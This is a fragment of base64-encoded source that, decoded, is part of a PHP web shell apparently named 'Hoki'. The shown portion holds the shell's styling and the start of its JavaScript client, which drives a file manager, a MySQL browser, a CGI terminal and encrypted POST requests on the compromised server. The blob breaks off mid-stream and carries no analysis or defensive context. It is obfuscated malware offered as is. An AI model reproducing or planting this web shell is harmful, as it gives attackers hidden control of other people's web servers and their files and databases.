wtbWFpbiAubXlzcWwtcXVlcnktcmVzdWx0cyAubXlzcWwtcXVlcnktY29udGVudHtoZWlnaHQ6ODklO292ZXJmbG93OmF1dG99Lm15c3FsLXF1ZXJ5LXRhYi1oaWRle2hlaWdodDowIWltcG9ydGFudDtwYWRkaW5nOjAhaW1wb3J0YW50fS5teXNxbC1tYWluIC5teXNxbC10YWJsZXN7d2lkdGg6MTklO2JvcmRlci1yaWdodDo0cHggc29saWQgIzBlMzA0YX0ubXlzcWwtbWFpbiB0YWJsZSB0ZHt2ZXJ0aWNhbC1hbGlnbjp0b3B9Lm15c3FsLW1haW4gLm15c3FsLXNlYXJjaC1hcmVhIHRhYmxlIHRke3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtwYWRkaW5nOjdweH0ubXlzcWwtdGFibGVzIC5ibG9ja3twb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxLjVlbTtoZWlnaHQ6MS41ZW07bWluLXdpZHRoOjE2cHg7bWluLWhlaWdodDoxNnB4O2Zsb2F0OmxlZnR9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgYiwubXlzcWwtdGFibGVzIGRpdi5ibG9jayBpe3dpZHRoOjEuNWVtO2hlaWdodDoxLjdlbTttaW4td2lkdGg6MTZweDttaW4taGVpZ2h0OjhweDtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206LjdlbTtsZWZ0Oi43NWVtO3otaW5kZXg6MH0ubXlzcWwtdGFibGVzIC5ibG9jayBpe2Rpc3BsYXk6YmxvY2s7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzY2Njtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjB9Lm15c3FsLXRhYmxlcyAuYmxvY2sgYntkaXNwbGF5OmJsb2NrO2hlaWdodDouNzVlbTtib3R0b206MDtsZWZ0Oi43NWVtO2JvcmRlci1sZWZ0OjFweCBzb2xpZCAjNjY2fS5teXNxbC10YWJsZXMgZGl2LmJsb2NrIGEsLm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgdXtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjUwJTt0b3A6NTAlO3otaW5kZXg6MTB9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgaW1ne3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDotLjZlbTtsZWZ0OjA7bWFyZ2luLWxlZnQ6LTdweH0ubXlzcWwtdGFibGVzIC5jbGVhcmZsb2F0e2NsZWFyOmJvdGh9Lm15c3FsLXRhYmxlcyB1bHtsaXN0LXN0eWxlLXR5cGU6bm9uZTttYXJnaW4tbGVmdDowO3BhZGRpbmc6MH0ubXlzcWwtdGFibGVzIHVsIGxpe3doaXRlLXNwYWNlOm5vd3JhcDtjbGVhcjpib3RoO21pbi1oZWlnaHQ6MTZweH0ubXlzcWwtdGFibGVzIC5kYl9uYW1le21hcmdpbi1sZWZ0OjEwcHh9Lm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXJ7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjY7bWFyZ2luLWxlZnQ6Ljc1ZW07cGFkZGluZy1sZWZ0Oi43NWVtfS5oaWRlLWRiLXRhYmxlc3tkaXNwbGF5Om5vbmV9Lm15c3FsLW1haW46YWZ0ZXJ7Y29udGVudDoiIjtkaXNwbGF5OnRhYmxlO2NsZWFyOmJvdGh9dGFibGUubXlzcWwtZGF0YS10Ymx7Ym9yZGVyOm5vbmUhaW1wb3J0YW50O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZSFpbXBvcnRhbnR9dGFibGUubXlzcWwtZGF0YS10YmwgdHIgdGh7cGFkZGluZzo1cHh9dGFibGUubXlzcWwtZGF0YS10YmwgdGR7Ym9yZGVyLWxlZnQ6M3B4IHNvbGlkICMzMDVhOGQ7Ym9yZGVyLXJpZ2h0OjNweCBzb2xpZCAjMzA1YThkO3BhZGRpbmc6NnB4fXRhYmxlLm15c3FsLWRhdGEtdGJsIHRkOmZpcnN0LWNoaWxke2JvcmRlci1sZWZ0Om5vbmV9dGFibGUubXlzcWwtZGF0YS10YmwgdGQ6bGFzdC1jaGlsZHtib3JkZXItcmlnaHQ6bm9uZX0ubXlzcWwtaW5zZXJ0LXJlc3VsdCwubXlzcWwtc3RydWN0dXJlLXFyZXMsLm15c3FsLXVwZGF0ZS1yZXN1bHR7ZGlzcGxheTpub25lO3RleHQtYWxpZ246Y2VudGVyO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IGRhc2hlZDttYXJnaW46MjJweH0jaG9raS1jb3B5cmlnaHR7bWFyZ2luLXRvcDoxNXB4fS5pY19iX3BsdXN7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfcGx1cy5wbmcpfS5pY19iX21pbnVze2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyl9Cjw/cGhwIGVjaG8gJwpAa2V5ZnJhbWVzIHNwaW4ge2Zyb20ge3RyYW5zZm9ybTogcm90YXRlKDBkZWcpO310b3t0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CkAtd2Via2l0LWtleWZyYW1lcyBzcGluIHtmcm9tIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CkAtbW96LWtleWZyYW1lcyBzcGluIHtmcm9tIHstbW96LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1vei10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CkAtbXMta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey1tcy10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTt9dG8gey1tcy10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CiNob2tpbG9hZGVyeycuJGNzc2NvZGUuJ3dpZHRoOjEwMHB4O2hlaWdodDoxMDBweDt9CiNhX2xvYWRlciBpbWd7Jy4kY3NzY29kZS4nd2lkdGg6MTUwcHg7aGVpZ2h0OjE1MHB4O3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6OTk5OTk5O3RvcDogMzElO2xlZnQ6IDQ1JTt9Ci5hamF4YXJlYXtkaXNwbGF5Om5vbmU7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2NvbG9yOiM2N0FCREZ9LnVwX2JhcnttYXJnaW4tYm90dG9tOiAycHg7dHJhbnNpdGlvbjp3aWR0aCAycztiYWNrZ3JvdW5kLWNvbG9yOnJlZDt3aWR0aDowO2hlaWdodDo4cHg7ZGlzcGxheTpub25lO30jaGlkZGVuX3Noe2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTt0ZXh0LWFsaWduOmNlbnRlcjtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDowO2xlZnQ6OTAlO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MmVtfS5hbGVydF9ncmVlbntjb2xvcjojMEYwO2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6c21hbGw7dGV4dC1kZWNvcmF0aW9uOm5vbmV9Lndob2xle2JhY2tncm91bmQtY29sb3I6IzAwMDtiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwczovL2kuZ2lmZXIuY29tLzF2NmYuZ2lmKTtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlcjtiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6Zml4ZWQ7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0fS5oZWFkZXJ7aGVpZ2h0OmF1dG87d2lkdGg6YXV0bztib3JkZXI6N3B4IHNvbGlkICMwRTMwNEE7Y29sb3I6Jy5ob2tpX2dldENvbG9yKCJoZWFkZXJfdmFsdWVzIikuJztmb250LXNpemU6MTJweDtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmfS5oZWFkZXIgYXt0ZXh0LWRlY29yYXRpb246bm9uZTt9LmZpbGVzdG9vbHMgYXtjb2xvcjojMEYwO3RleHQtZGVjb3JhdGlvbjpub25lfS5maWxlc3Rvb2xzIGE6aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LWRlY29yYXRpb246bm9uZTt9c3Bhbntmb250LXdlaWdodDpib2xkZXI7Y29sb3I6I0ZGRn0udHh0Zm9udHtmb250LWZhbWlseToiQ29taWMgU2FucyBNUyI7Zm9udC1zaXplOnNtYWxsO2NvbG9yOiNmZmY7ZGlzcGxheTppbmxpbmUtYmxvY2t9LnR4dGZvbnRfaGVhZGVye2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6bGFyZ2U7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y29sb3I6IzU5Y2MzM30udGJsdHh0e2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtjb2xvcjojZmZmO2ZvbnQtc2l6ZTpzbWFsbDtkaXNwbGF5OmlubGluZS1ibG9ja31pbnB1dFt0eXBlPSJmaWxlIl17ZGlzcGxheTpub25lfS5pbnB1dGZpbGV7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7Ym9yZGVyLXJhZGl1czo0cHg7aGVpZ2h0OjIwcHg7d2lkdGg6MjUwcHg7dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXA7Y3Vyc29yOnBvaW50ZXI7ZGlzcGxheTppbmxpbmUtYmxvY2s7b3ZlcmZsb3c6aGlkZGVufS5pbnB1dGZpbGU6aG92ZXJ7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9LmlucHV0ZmlsZSBzcGFuLC5pbnB1dGZpbGUgc3Ryb25ne3BhZGRpbmc6MnB4O3BhZGRpbmctbGVmdDoxMHB4fS5pbnB1dGZpbGUgc3Bhbntjb2xvcjojMjVmZjAwO3dpZHRoOjkwcHg7bWluLWhlaWdodDoyZW07ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3ZlcnRpY2FsLWFsaWduOnRvcDtmbG9hdDpsZWZ0fS5pbnB1dGZpbGUgc3Ryb25ne2JhY2tncm91bmQtaW1hZ2U6dXJsKCcuX19zaG93aWNvbignaG9raW1pbmknKS4nKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpmbG9hdDtoZWlnaHQ6MTAwJTt3aWR0aDoxMDlweDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTtkaXNwbGF5OmlubGluZS1ibG9jaztmbG9hdDpyaWdodH0uaW5wdXRmaWxlOmZvY3VzIHN0cm9uZywuaW5wdXRmaWxlLmhhcy1mb2N1cyBzdHJvbmcsLmlucHV0ZmlsZTpob3ZlciBzdHJvbmd7YmFja2dyb3VuZC1jb2xvcjojNDY2NDdBfS5idXR0b257cGFkZGluZzozcHh9I2FkZHVwLC5idXR0b257b3V0bGluZTpub25lO2N1cnNvcjpwb2ludGVyO2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6Z3JlZW47Ym9yZGVyLXJhZGl1czoxMDBweH0jYWRkdXA6aG92ZXIsLmJ1dHRvbjpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06ZGlzYWJsZWQ6aG92ZXJ7Y3Vyc29yOm5vdC1hbGxvd2VkfXRke3BhZGRpbmc6Jy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPT0nMSc/JzAnOicxJykuJ3B4fS5teUNoZWNrYm94e3BhZGRpbmctbGVmdDoycHh9Lm15Q2hlY2tib3ggbGFiZWx7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y3Vyc29yOnBvaW50ZXI7cG9zaXRpb246cmVsYXRpdmV9Lm15Q2hlY2tib3ggaW5wdXRbdHlwZT1jaGVja2JveF17ZGlzcGxheTpub25lfS5teUNoZWNrYm94IGxhYmVsOmJlZm9yZXtjb250ZW50OiIiO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjE0cHg7aGVpZ2h0OjEzcHg7cG9zaXRpb246YWJzb2x1dGU7YmFja2dyb3VuZC1jb2xvcjojYWFhO2JveC1zaGFkb3c6aW5zZXQgMCAycHggM3B4IDAgcmdiYSgwLDAsMCwuMyksMCAxcHggMCAwIHJnYmEoMjU1LDI1NSwyNTUsLjgpfS5teUNoZWNrYm94IGxhYmVse21hcmdpbi1ib3R0b206MTVweDtwYWRkaW5nLXJpZ2h0OjE3cHh9Lm15Q2hlY2tib3ggbGFiZWw6YmVmb3Jle2JvcmRlci1yYWRpdXM6MTAwcHh9aW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCArIGxhYmVsOmJlZm9yZXtjb250ZW50OiIiO2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2hva2ltaW5pJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246NTAlIDUwJTtiYWNrZ3JvdW5kLXNpemU6MTRweCAxNHB4O2JveC1zaGFkb3c6MCAwIDRweCAjMEYwfSNtZXVubGlzdHtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmO2NvbG9yOiNGRkY7d2lkdGg6YXV0bztib3JkZXItcmlnaHQtd2lkdGg6N3B4O2JvcmRlci1sZWZ0LXdpZHRoOjdweDtoZWlnaHQ6YXV0bztmb250LXNpemU6MTJweDtmb250LXdlaWdodDo3MDA7Ym9yZGVyLXRvcC13aWR0aDowO2JvcmRlci1jb2xvcjojMEUzMDRBO2JvcmRlci1zdHlsZTpzb2xpZH0ud2hvbGUgI21ldW5saXN0IHVse3RleHQtYWxpZ246Y2VudGVyO2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbjowO3BhZGRpbmc6NXB4IDVweCA3cHggMnB4fS53aG9sZSAjbWV1bmxpc3QgbGl7bWFyZ2luOjA7cGFkZGluZzowO2Rpc3BsYXk6aW5saW5lfS53aG9sZSAjbWV1bmxpc3QgYXtmb250LWZhbWlseTphcmlhbCxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O3RleHQtZGVjb3JhdGlvbjpub25lO2ZvbnQtd2VpZ2h0OjcwMDtjbGVhcjpib3RoO3dpZHRoOjEwMHB4O21hcmdpbi1yaWdodDotNnB4O2JvcmRlci1yaWdodC13aWR0aDoxcHg7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1jb2xvcjojRkZGO3BhZGRpbmc6M3B4IDE1cHh9LmZvb3R7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZjttYXJnaW46MDtwYWRkaW5nOjA7d2lkdGg6MTAwJTt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MTJweDtjb2xvcjojMEUzMDRBO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2JvcmRlci1ib3R0b20td2lkdGg6N3B4O2JvcmRlci1ib3R0b20tc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1zdHlsZTpzb2xpZDtib3JkZXItbGVmdC1zdHlsZTpzb2xpZDtib3JkZXItY29sb3I6IzBFMzA0QX0jdGV4dHt0ZXh0LWFsaWduOmNlbnRlcn1pbnB1dFt0eXBlPXN1Ym1pdF17Y3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdidG4nKS4nKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjo1MCUgNTAlO2JhY2tncm91bmQtc2l6ZToyM3B4IDIzcHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO2JvcmRlci1yYWRpdXM6MTAwcHh9dGV4dGFyZWF7cGFkZGluZzozcHg7Y29sb3I6Izk5OTt0ZXh0LXNoYWRvdzojNzc3IDAgMCAzcHg7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH10ZXh0YXJlYTpob3Zlcntjb2xvcjojRkZGO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdLGlucHV0W3R5cGU9bnVtYmVyXSwuaG9raV9jdXN0b21fY21kX2J0bntwYWRkaW5nOjNweDtjb2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fWlucHV0W3R5cGU9c3VibWl0XTpob3Zlcntjb2xvcjojMDAwO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MnB4IHNvbGlkICMyNzk3OUI7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fXNlbGVjdHtwYWRkaW5nOjNweDt3aWR0aDoxNjJweDtjb2xvcjojRkZFO3RleHQtc2hhZG93OiMwMDAgMCAycHggN3B4O2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOiMwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH1zZWxlY3Q6aG92ZXJ7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9Ci5mb290dGFibGV7d2lkdGg6IDMwMHB4O2ZvbnQtd2VpZ2h0OiBib2xkOycuKCFAaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8nfS5kaXJ7YmFja2dyb3VuZC1jb2xvcjpyZWQ7fSc6J30nKS4nLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O30ubWFpbiBhe2NvbG9yOiAjRkZGO30ubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM2NDY0NjQgIWltcG9ydGFudDt9Lm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9LmJpZ2FyZWF7IHdpZHRoOjk5JTsgaGVpZ2h0OjMwMHB4OyB9Lmhva2lfY3VzdG9tX2NtZF9idG4ge3BhZGRpbmc6IDVweDtjb2xvcjogIzI0ZmYwMztjdXJzb3I6IHBvaW50ZXI7fS5hamF4YXJlYS5maWxlc21hbi1hY3RpdmUtY29udGVudCB7ZGlzcGxheTogYmxvY2s7fScuaG9raUNzc0xvYWRDb2xvcnMoKS4nCjwvc3R5bGU+JzsKZWNobyAiPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgp2YXIgY18gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOwp2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIic7CnZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsKdmFyIGlzbGludXggPSAiLigkR0xPQkFMU1snc3lzJ10hPSJ3aW4iPyd0cnVlJzonZmFsc2UnKS4iOwp2YXIgcG9zdF9lbmNyeXB0aW9uX21vZGUgPSAiLihfX0hPS0lfUE9TVF9FTkNSWVBUSU9OX18/J3RydWUnOidmYWxzZScpLiI7Ijs/Pgp2YXIgaG9raTFfPSIiLGhva2kyXz0iIixob2tpM189IiIsaG9raTRfPSIiLGhva2k1Xz0iIixob2tpNl89IiIsaG9raTdfPSIiLGhva2k4Xz0iIixob2tpOV89IiIsaG9raTEwXz0iIixkPWRvY3VtZW50LG15c3FsX2NhY2hlPXt9LGVkaXRvcl9maWxlcz17fSxlZGl0b3JfZXJyb3I9ITAsZWRpdG9yX2N1cnJlbnRfZmlsZT0iIixwaHBfdGVtcmluYWxfdXNpbmdfY2dpPSExLGlzX21pbmltaXplZD0hMSxjZ2lfaXNfbWluaW1pemVkPSExLG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMSxkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PW51bGwsY2FuX2hhc2hjaGFuZ2Vfd29yaz0hMCxob2tpX2Nhbl9hZGRfb3B0PSExLGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIixob2tpX2FjZV9lZGl0b3JzPXtlZGl0b3I6bnVsbCxldmFsOm51bGx9LGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YT17fSxfSE9LSV9BSkFYXz17fSxjZ2lfbGFuZz0iIix1cGNvdW50PTEsdGVybWluYWxfd2Fsa19pbmRleD1bXSxob2tpX2N1cnJlbnRfZm1faWQ9MSxob2tpX2ZtX2lkPTA7ZnVuY3Rpb24gc2V0KGUsYSx0LGksbCxvLHIsbixzLGMsZixfLHUpe2QubWYuYS52YWx1ZT1udWxsIT1lP2U6YV8sZC5tZi5jLnZhbHVlPW51bGwhPWE/YTpjXyxkLm1mLmhva2kxLnZhbHVlPW51bGwhPXQ/dDoiIixkLm1mLmhva2kyLnZhbHVlPW51bGwhPWk/aToiIixkLm1mLmhva2kzLnZhbHVlPW51bGwhPWw/bDoiIixkLm1mLmhva2k0LnZhbHVlPW51bGwhPW8/bzoiIixkLm1mLmhva2k1LnZhbHVlPW51bGwhPXI/cjoiIixkLm1mLmhva2k2LnZhbHVlPW51bGwhPW4/bjoiIixkLm1mLmhva2k3LnZhbHVlPW51bGwhPXM/czoiIixkLm1mLmhva2k4LnZhbHVlPW51bGwhPWM/YzoiIixkLm1mLmhva2k5LnZhbHVlPW51bGwhPWY/ZjoiIixkLm1mLmhva2kxMC52YWx1ZT1udWxsIT1fP186IiIsZC5tZi5jaGFyc2V0LnZhbHVlPW51bGwhPXU/dTpjaGFyc2V0X31mdW5jdGlvbiBmYyhlKXt2YXIgYT1ob2tpX2N1cnJlbnRfZm1faWQsdD0iYT0iK2hva2liNjQoIkZpbGVzTWFuIikrIiZjPSIraG9raWI2NChlLmMudmFsdWUpKyImaG9raTE9Iitob2tpYjY0KGUuaG9raTEudmFsdWUpKyImYWpheD0iK2hva2liNjQoInRydWUiKSsiJiIsaT0iIixsPTA7aWYoZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGZvcm1bbmFtZT1maWxlc10gaW5wdXRbdHlwZT1jaGVja2JveF0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZCYmKGwrKyxpKz0iZltdPSIraG9raWI2NChkZWNvZGVVUklDb21wb25lbnQoZS52YWx1ZSkpKyImIil9KSwwPT1sJiYicGFzdGUiIT1lLmhva2kxLnZhbHVlKXJldHVybiExO3N3aXRjaChob2tpbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIithLCJibG9jayIpLGUuaG9raTEudmFsdWUpe2Nhc2UiZGVsZXRlIjpkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIGE9ZS5xdWVyeVNlbGVjdG9yKCJpbnB1dFt0eXBlPWNoZWNrYm94XSIpO2EuY2hlY2tlZCYmIi4uIiE9YS52YWx1ZT9lLnJlbW92ZSgpOmEuY2hlY2tlZD0hMX0pLGQucXVlcnlTZWxlY3RvcigiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiAuY2hrYngiKS5jaGVja2VkPSExO2JyZWFrO2Nhc2UiY29weSI6Y2FzZSJtb3ZlIjpjYXNlInppcCI6Y2FzZSJ1bnppcCI6ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZD0hMX0pfV9BamF4KGQuVVJMLHQraSxmdW5jdGlvbihlKXtob2tpbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIithL